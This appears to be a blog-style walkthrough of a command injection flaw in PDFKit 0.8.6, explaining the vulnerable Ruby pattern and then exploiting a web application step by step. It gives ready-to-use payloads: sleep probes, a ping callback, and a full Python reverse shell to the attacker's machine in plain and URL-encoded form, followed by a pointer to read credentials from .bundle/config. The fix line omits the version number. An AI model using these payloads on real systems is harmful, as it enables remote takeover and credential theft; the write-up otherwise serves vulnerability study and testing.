PDFKit could allow a remote attacker to execute arbitrary commands on the system, caused by improper URL validation. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system.

Affected Products

PDFKit PDFKit 0.8.6


An application could be vulnerable if it tries to render a URL that contains query string parameters with user input:

  • PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf

If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF:

  • irb(main):060:0> puts PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").command wkhtmltopdf --quiet [...] "http://example.com/?name=%20`sleep 5`" - => nil

Calling to_pdf on the instance shows that the sleep command is indeed executing:

  • PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf # 5 seconds wait...

Of course, if the user can control completely the first argument of the PDFKit constructor, they can also exploit the command injection as long as it starts with "http":

  • PDFKit.new("http%20`sleep 5`").to_pdf


In this particular case, we have a web application that uses PDFKit PDFKit 0.8.6, to create a pdf file from user provided input.

1. First thing we should do is to identify the behavior of the application, so we enter input to generate the PDF

2. Also, capturing this request in Burpsuite, we can see that the application is running Ruby (X-Runtime: Ruby)

3. Now, we download and inspect the PDF file, looking for file info, using exiftool

  • exiftool uqjt61nr2irybs0v7t9qajtshcbvx1oj.pdf

Note: Here we can see the output of exiftool which indicates “Generated by pdfkit v0.8.6”


1. Knowing the file was generated with Ruby using the module pdfkit (version 0.8.6). We can start to test, this application against command injection, first of all, grab the request to create the PDF in Burlsuite, and, send it to Repeater.

2. We run the request normally

3. Now, try the basic test, http://%20`sleep 10`, the application should take longer to respond, as it ran sleep, you can also use the URL encoded, in my case only URL encoded worked

  • http://%20`sleep 10`
  • URL encoded: %68%74%74%70%3a%2f%2f%25%32%30%60%73%6c%65%65%70%20%31%30%60
  • As captured on the go: http%3A%2F%2F%2520%60sleep+10%60

4. If the application hangs for 10 seconds, it means the command worked. Now we can try networking. So, in this case I will set a listener in my Kali machine using TCPdump “sudo tcpdump -i tun0 icmp”

  • http://%20`ping -c 3`
  • URL enconded: %68%74%74%70%3a%2f%2f%25%32%30%60%70%69%6e%67%20%2d%63%20%33%20%31%30%2e%31%30%2e%31%34%2e%38%60

5. Knowing ICMP was send from the target to our local machine we can proceed to try reverse shells. First of all start a listener in your local machine “nc -lvp 4444”, then send the request to the web server.

  • http://%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
  • URL encoded: %68%74%74%70%3a%2f%2f%25%32%30%60%70%79%74%68%6f%6e%33%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%30%2e%31%30%2e%31%34%2e%38%22%2c%34%34%34%34%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%29%3b%27%60

Note: We got a connection back. The vulnerability has successfully been exploited


1. You may find user credentials in .bundle/config

  • cd /home/ruby/.bundle
  • cat config


Upgrade pdfkit to version or higher.